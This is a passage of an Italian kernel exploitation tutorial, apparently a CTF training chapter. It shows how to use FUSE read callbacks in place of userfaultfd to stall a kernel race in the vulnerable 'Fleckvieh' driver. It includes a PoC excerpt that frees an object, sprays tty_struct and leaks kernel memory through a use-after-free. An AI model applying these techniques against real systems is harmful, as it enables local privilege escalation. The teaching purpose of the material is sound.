Nel capitolo precedente abbiamo stabilizzato la race di LK04 (Fleckvieh) con userfaultfd. Qui vedremo un’alternativa basata su FUSE.

Limiti di userfaultfd

Come accennato prima, nelle versioni moderne di Linux userfaultfd non è più liberamente utilizzabile dagli utenti non privilegiati in tutte le modalità.
In particolare, un utente normale può ancora gestire page fault nati in user space, ma non quelli originati dal kernel. Le mitigazioni sono state introdotte da patch come:

Per aggirare questo limite possiamo appoggiarci a un’altra funzionalità del kernel: FUSE.

Che cos’è FUSE

FUSE (Filesystem in Userspace) permette di implementare un filesystem nello user space. Se il kernel è compilato con CONFIG_FUSE_FS, i programmi possono montare un filesystem virtuale e gestire tramite callback operazioni come open, read, write, mkdir, readdir e così via.
Dal punto di vista concettuale, il modello ricorda molto un character device personalizzato.[1]

Lupetto

Esempi reali di software che usano FUSE sono sshfs e AppImage.

Uso di FUSE

Prima di tutto puoi controllare la versione disponibile con fusermount:

1
2
/ $ fusermount -V
fusermount version: 2.9.9

Se vuoi fare prove in locale, installa la libreria giusta. Nel target di questo capitolo viene usato FUSE v2, quindi serve fuse, non fuse3:

1
# apt-get install fuse

Per compilare i programmi servono anche gli header:

1
# apt-get install libfuse-dev

Vediamo un esempio minimo. In un filesystem FUSE, quando qualcuno accede a un file, il kernel chiama le funzioni definite nella struttura fuse_operations. Per i nostri scopi è sufficiente implementare getattr, open e read:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#define FUSE_USE_VERSION 29
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <string.h>

static const char *content = "Hello, World!\n";

static int getattr_callback(const char *path, struct stat *stbuf) {
puts("[+] getattr_callback");
memset(stbuf, 0, sizeof(struct stat));

/* Verifica che il path visto dal mountpoint sia "/file" */
if (strcmp(path, "/file") == 0) {
stbuf->st_mode = S_IFREG | 0777; // permessi
stbuf->st_nlink = 1; // numero di hard link
stbuf->st_size = strlen(content); // dimensione del file
return 0;
}

return -ENOENT;
}

static int open_callback(const char *path, struct fuse_file_info *fi) {
puts("[+] open_callback");
return 0;
}

static int read_callback(const char *path,
char *buf, size_t size, off_t offset,
struct fuse_file_info *fi) {
puts("[+] read_callback");

if (strcmp(path, "/file") == 0) {
size_t len = strlen(content);
if (offset >= len) return 0;

/* Restituisce i dati */
if ((size > len) || (offset + size > len)) {
memcpy(buf, content + offset, len - offset);
return len - offset;
} else {
memcpy(buf, content + offset, size);
return size;
}
}

return -ENOENT;
}

static struct fuse_operations fops = {
.getattr = getattr_callback,
.open = open_callback,
.read = read_callback,
};

int main(int argc, char *argv[]) {
return fuse_main(argc, argv, &fops, NULL);
}

Compilalo aggiungendo -D_FILE_OFFSET_BITS=64:

1
$ gcc test.c -o test -D_FILE_OFFSET_BITS=64 -lfuse

Nel target dell’esercizio conviene usare link statico. pkg-config mostra che servono anche pthread:

1
2
$ pkg-config fuse --cflags --libs
-D_FILE_OFFSET_BITS=64 -I/usr/include/fuse -lfuse -pthread

Con il link statico, però, spesso manca anche libdl:

1
2
3
4
5
6
7
8
9
10
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_put_module.isra.0':
(.text+0xe0e): undefined reference to `dlclose'
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0x9e9e): undefined reference to `dlopen'
/usr/bin/ld: (.text+0x9efb): undefined reference to `dlsym'
/usr/bin/ld: (.text+0xa1e2): undefined reference to `dlerror'
/usr/bin/ld: (.text+0xa265): undefined reference to `dlclose'
/usr/bin/ld: (.text+0xa282): undefined reference to `dlerror'
collect2: error: ld returned 1 exit status
make: *** [Makefile:2: all] Error 1

La soluzione è aggiungere -ldl alla fine:

1
$ gcc test.c -o test -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl

fuse_main si occupa di parsare gli argomenti e avviare il loop principale. Per esempio:

1
2
$ mkdir /tmp/test
$ ./test -f /tmp/test

Se tutto funziona, il programma resta in esecuzione senza errori. Da un altro terminale puoi accedere al file virtuale:

1
2
$ cat /tmp/test/file
Hello, World!

Dato che qui non abbiamo implementato readdir, un ls sul mountpoint non elencherà nulla. Inoltre non gestiamo nemmeno getattr sulla root, quindi /tmp/test può apparire “strano” a strumenti normali.

Se vuoi evitare il parsing degli argomenti e controllare tutto in modo più diretto, puoi usare le API più basse:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main()
{
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan;
struct fuse *fuse;

if (!(chan = fuse_mount("/tmp/test", &args)))
fatal("fuse_mount");

if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) {
fuse_unmount("/tmp/test", chan);
fatal("fuse_new");
}

fuse_set_signal_handlers(fuse_get_session(fuse));
fuse_loop_mt(fuse);

fuse_unmount("/tmp/test", chan);

return 0;
}

Qui scegli esplicitamente il mountpoint con fuse_mount, crei l’istanza con fuse_new e fai girare il loop eventi con fuse_loop_mt. È importante installare gli signal handler e arrivare a fuse_unmount, altrimenti il mountpoint resta sporco.

Stabilizzare la race

Ora sfruttiamo FUSE per lo stesso scopo per cui prima usavamo userfaultfd.
L’idea di base è identica: al posto di fermarci sul page fault di una pagina anonima monitorata da userfaultfd, ci fermiamo sul read di un file FUSE mappato in memoria.
Se mappi un file FUSE con mmap senza MAP_POPULATE, il primo accesso provoca un page fault è il kernel finisce per invocare la callback read. A quel punto il controllo torna al nostro codice in user space, proprio come nel caso di userfaultfd.

Lo schema è questo:

Use-after-Free tramite FUSE

Rispetto al capitolo precedente cambia solo il meccanismo che ci riporta al codice utente: non più userfaultfd, ma la callback read di FUSE.
Ecco un estratto del PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
cpu_set_t pwn_cpu;
char *buf;
int victim;

...

static int read_callback(const char *path,
char *buf, size_t size, off_t offset,
struct fuse_file_info *fi) {
static int fault_cnt = 0;
printf("[+] read_callback\n");
printf(" path : %s\n", path);
printf(" size : 0x%lx\n", size);
printf(" offset: 0x%lx\n", offset);

if (strcmp(path, "/pwn") == 0) {
switch (fault_cnt++) {
case 0:
puts("[+] UAF read");
/* [1-2] page fault causato da `blob_get` */
// libera victim
del(victim);

// spray di tty_struct nello slot liberato
int fds[0x10];
for (int i = 0; i < 0x10; i++) {
fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (fds[i] == -1) fatal("/dev/ptmx");
}
return size;
}
}

return -ENOENT;
}

...

int setup_done = 0;

void *fuse_thread(void *_arg) {
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan;
struct fuse *fuse;

if (mkdir("/tmp/test", 0777))
fatal("mkdir(\"/tmp/test\")");

if (!(chan = fuse_mount("/tmp/test", &args)))
fatal("fuse_mount");

if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) {
fuse_unmount("/tmp/test", chan);
fatal("fuse_new");
}

/* Esegue il thread FUSE sulla stessa CPU del main */
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");

fuse_set_signal_handlers(fuse_get_session(fuse));
setup_done = 1;
fuse_loop_mt(fuse);

fuse_unmount("/tmp/test", chan);
return NULL;
}

int main(int argc, char **argv) {
/* Forza main thread e thread FUSE sulla stessa CPU */
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");

pthread_t th;
pthread_create(&th, NULL, fuse_thread, NULL);
while (!setup_done);

/*
* Corpo dell'exploit
*/
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1) fatal("/dev/fleckvieh");

/* Mappa il file FUSE */
int pwn_fd = open("/tmp/test/pwn", O_RDWR);
if (pwn_fd == -1) fatal("/tmp/test/pwn");
void *page;
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE, pwn_fd, 0);
if (page == MAP_FAILED) fatal("mmap");

/* Dati della stessa size class di tty_struct */
buf = (char*)malloc(0x400);
victim = add(buf, 0x400);
set(victim, "Hello", 6);

/* [1-1] UAF Read: leak di tty_struct */
get(victim, page, 0x400);
for (int i = 0; i < 0x80; i += 8) {
printf("%02x: 0x%016lx\n", i, *(unsigned long*)(page + i));
}

return 0;
}

La struttura è molto simile a quella del capitolo su userfaultfd. La differenza principale è solo nel meccanismo di stop.
Se esegui il PoC, vedrai che una parte di tty_struct viene leakata correttamente:

UAF read con FUSE

Come prima, i primi byte non vengono leakati bene se la copy_to_user lavora su una dimensione troppo grande. Anche qui la soluzione resta la stessa: usare una lunghezza più piccola.

La differenza davvero importante rispetto a userfaultfd riguarda invece la granularità della richiesta. Con userfaultfd i fault arrivano a pagine da 0x1000 byte. Se vuoi tre eventi, basta mappare 0x3000.
Con FUSE, invece, il primissimo fault può già provocare una read grande 0x3000, e quindi i page fault successivi non avvengono più. Per riarmare il meccanismo bisogna semplicemente riaprire e rimappare il file ogni volta.
Conviene quindi incapsulare il tutto in una funzione:

1
2
3
4
5
6
7
8
9
10
11
12
int pwn_fd = -1;
void* mmap_fuse_file(void) {
if (pwn_fd != -1) close(pwn_fd);
pwn_fd = open("/tmp/test/pwn", O_RDWR);
if (pwn_fd == -1) fatal("/tmp/test/pwn");

void *page;
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE, pwn_fd, 0);
if (page == MAP_FAILED) fatal("mmap");
return page;
}

Per il resto, l’exploit segue la stessa linea di userfaultfd. Dove prima impostavi copy.src, qui puoi semplicemente fare memcpy dei dati da restituire nel buffer che FUSE usa come risposta alla read.

Completa da solo l’exploit finale:

elevazione di privilegi con FUSE

Un esempio completo è disponibile qui.


  1. Esiste anche CUSE, che permette di registrare character device virtuali in user space. ↩︎